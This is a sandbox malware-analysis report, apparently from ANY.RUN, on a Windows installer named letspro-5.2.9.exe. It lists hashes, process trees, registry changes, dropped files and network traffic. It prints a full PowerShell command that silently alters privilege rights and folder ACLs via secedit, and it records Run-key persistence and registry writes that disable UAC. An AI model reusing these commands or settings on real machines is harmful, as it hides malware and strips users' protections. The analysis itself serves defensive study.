| File name: | letspro-5.2.9.exe |
| Full analysis: | https://app.any.run/tasks/a072fce9-80d0-42a1-9176-7c70ba31e325 |
| Verdict: | Malicious activity |
| Analysis date: | May 21, 2025, 19:56:42 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32+ executable (GUI) x86-64, for MS Windows, 6 sections |
| MD5: | 9AF2A842E57624C00F5A3C946D9A95CD |
| SHA1: | 23301B034C72DB35F8A306CF0B1E5AC0EC7AF9CB |
| SHA256: | 26357C799752CE0EA03946D2816A1C69F9B9D2A768F486AF9277025D43A7333F |
| SSDEEP: | 196608:tDcjfVmKbOkOisgbxI1VfVOuWIzU1K2zZawW:tDsftbOkOPgb6dOXSUFZDW |
| .exe | | | Win64 Executable (generic) (87.3) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (6.3) |
| .exe | | | DOS Executable Generic (6.3) |
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2012:06:14 16:16:12+00:00 |
| ImageFileCharacteristics: | Executable, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 10 |
| CodeSize: | 25088 |
| InitializedDataSize: | 49664 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x2d1c |
| OSVersion: | 5.2 |
| ImageVersion: | - |
| SubsystemVersion: | 5.2 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 9.1.0.0 |
| ProductVersionNumber: | 9.1.0.0 |
| FileFlagsMask: | 0x003f |
| FileFlags: | Private build |
| FileOS: | Windows NT 32-bit |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | English (U.S.) |
| CharacterSet: | Windows, Latin1 |
| Comments: | Created with Setup Factory |
| FileDescription: | Setup Application |
| FileVersion: | 9.1.0.0 |
| InternalName: | suf_launch |
| LegalCopyright: | Setup Engine Copyright © 2004-2012 Indigo Rose Corporation |
| LegalTrademarks: | Setup Factory is a trademark of Indigo Rose Corporation. |
| OriginalFileName: | suf_launch.exe |
| ProductName: | Setup Factory Runtime |
| ProductVersion: | 9.1.0.0 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 812 | C:\Users\admin\AppData\Local\AppData\iusb3mon.exe | C:\Users\admin\AppData\Local\AppData\iusb3mon.exe | — | explorer.exe | |||||||||||
User: admin Company: 腾讯科技(深圳)有限公司 Integrity Level: MEDIUM Description: 腾讯课堂 Exit code: 0 Version: 4, 6, 1, 2 Modules
| |||||||||||||||
| 1128 | "C:\Users\admin\AppData\Local\AppData\iusb3mon.exe" | C:\Users\admin\AppData\Local\AppData\iusb3mon.exe | irsetup.exe | ||||||||||||
User: admin Company: 腾讯科技(深圳)有限公司 Integrity Level: HIGH Description: 腾讯课堂 Version: 4, 6, 1, 2 Modules
| |||||||||||||||
| 1244 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1324 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Process ([IO.Path]::GetFileNameWithoutExtension(\"securityhealthsystray.exe\")); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | irsetup.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1660 | "C:\Users\admin\AppData\Local\Temp\letspro-5.2.9.exe" | C:\Users\admin\AppData\Local\Temp\letspro-5.2.9.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: Setup Application Exit code: 3221226540 Version: 9.1.0.0 Modules
| |||||||||||||||
| 2616 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2616 | powershell.exe -NoProfile -C "Set-Content -Value @('[Unicode]','Unicode=yes','[Version]','signature=\"$CHICAGO$\"','Revision=1','[Privilege Rights]','SeDebugPrivilege = *S-1-5-18','[File Security]','\"C:\Users\admin\AppData\Local\AppData",0,\"D:AR(D;OICI;DTSDRCWD;;;WD)\"') -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.inf')) -Encoding Unicode; secedit.exe /configure /db ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.sdb')) /cfg ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.inf')) /overwrite /log ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.log')) /quiet; Remove-Item -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.*')) -Force;" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | — | iusb3mon.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2908 | "C:\WINDOWS\system32\SecEdit.exe" /configure /db C:\Users\admin\AppData\Local\Temp\SeDebugPrivilege1.sdb /cfg C:\Users\admin\AppData\Local\Temp\SeDebugPrivilege1.inf /overwrite /log C:\Users\admin\AppData\Local\Temp\SeDebugPrivilege1.log /quiet | C:\Windows\SysWOW64\SecEdit.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Security Configuration Editor Command Tool Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3676 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4024 | "C:\WINDOWS\system32\SecEdit.exe" /configure /db C:\Users\admin\AppData\Local\Temp\SeDebugPrivilege4.sdb /cfg C:\Users\admin\AppData\Local\Temp\SeDebugPrivilege4.inf /overwrite /log C:\Users\admin\AppData\Local\Temp\SeDebugPrivilege4.log /quiet | C:\Windows\SysWOW64\SecEdit.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Security Configuration Editor Command Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| (PID) Process: | (1128) iusb3mon.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | Miscrosoft |
Value: C:\Users\admin\AppData\Local\AppData\iusb3mon.exe | |||
| (PID) Process: | (1128) iusb3mon.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | Miscrosoft |
Value: C:\Users\admin\AppData\Local\AppData\iusb3mon.exe | |||
| (PID) Process: | (1128) iusb3mon.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System |
| Operation: | write | Name: | ConsentPromptBehaviorAdmin |
Value: 0 | |||
| (PID) Process: | (1128) iusb3mon.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System |
| Operation: | write | Name: | EnableLUA |
Value: 0 | |||
| (PID) Process: | (1128) iusb3mon.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System |
| Operation: | write | Name: | PromptOnSecureDesktop |
Value: 0 | |||
| (PID) Process: | (5740) ShellExperienceHost.exe | Key: | \REGISTRY\A\{887107ec-4bbc-3011-75b4-879bf27dc43e}\LocalState |
| Operation: | write | Name: | PeekBadges |
Value: 5B005D000000E4B176988ACADB01 | |||
| (PID) Process: | (2908) SecEdit.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\SecEdit |
| Operation: | delete value | Name: | LastWinlogonConfig |
Value: | |||
| (PID) Process: | (4024) SecEdit.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\SecEdit |
| Operation: | delete value | Name: | LastWinlogonConfig |
Value: | |||
| (PID) Process: | (1128) iusb3mon.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System |
| Operation: | write | Name: | DisableLockWorkstation |
Value: 0 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 5892 | letspro-5.2.9.exe | C:\Users\admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe | executable | |
MD5:2A7D5F8D3FB4AB753B226FD88D31453B | SHA256:879109AE311E9B88F930CE1C659F29EC0E338687004318661E604D0D3727E3CF | |||
| 6540 | irsetup.exe | C:\Users\admin\AppData\Local\Temp\_ir_sf_temp_0\IRIMG1.JPG | image | |
MD5:3220A6AEFB4FC719CC8849F060859169 | SHA256:988CF422CBF400D41C48FBE491B425A827A1B70691F483679C1DF02FB9352765 | |||
| 1324 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_rcpjv2hr.1lt.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5892 | letspro-5.2.9.exe | C:\Users\admin\AppData\Local\Temp\_ir_sf_temp_0\lua5.1.dll | executable | |
MD5:958103E55C74427E5C66D7E18F3BF237 | SHA256:3EA4A4C3C6DEA44D8917B342E93D653F59D93E1F552ACE16E97E43BB04E951D8 | |||
| 6540 | irsetup.exe | C:\Users\admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.dat | binary | |
MD5:C807431EB8A80C3505150966D5004B2C | SHA256:35147BE2995F0CC211A7022C7C77061BFD5D2CF73491798BFC8F092D9E9DFA87 | |||
| 6540 | irsetup.exe | C:\Users\admin\AppData\Local\Temp\_ir_sf_temp_0\IRIMG2.JPG | image | |
MD5:AC40DED6736E08664F2D86A65C47EF60 | SHA256:F35985FE1E46A767BE7DCEA35F8614E1EDD60C523442E6C2C2397D1E23DBD3EA | |||
| 5072 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_wqtbmt4o.ef5.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5072 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_agmde55c.bin.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6656 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_vg1fiqdw.3hp.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6656 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_rw3dk0gl.nyc.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2104 | svchost.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | QA | binary | 868 b | whitelisted |
5084 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | DE | binary | 419 b | whitelisted |
5084 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | DE | binary | 407 b | whitelisted |
6544 | svchost.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | US | binary | 471 b | whitelisted |
2104 | svchost.exe | GET | 200 | 2.16.168.114:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | RU | binary | 825 b | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
2104 | svchost.exe | 2.16.168.114:80 | crl.microsoft.com | Akamai International B.V. | RU | whitelisted |
2104 | svchost.exe | 2.23.246.101:80 | www.microsoft.com | Ooredoo Q.S.C. | QA | whitelisted |
2104 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
3216 | svchost.exe | 172.211.123.250:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
5084 | SIHClient.exe | 4.175.87.197:443 | slscr.update.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
5084 | SIHClient.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
5084 | SIHClient.exe | 40.69.42.241:443 | fe3cr.delivery.mp.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
jjiiee.com |
| unknown |
activation-v2.sls.microsoft.com |
| whitelisted |
nexusrules.officeapps.live.com |
| whitelisted |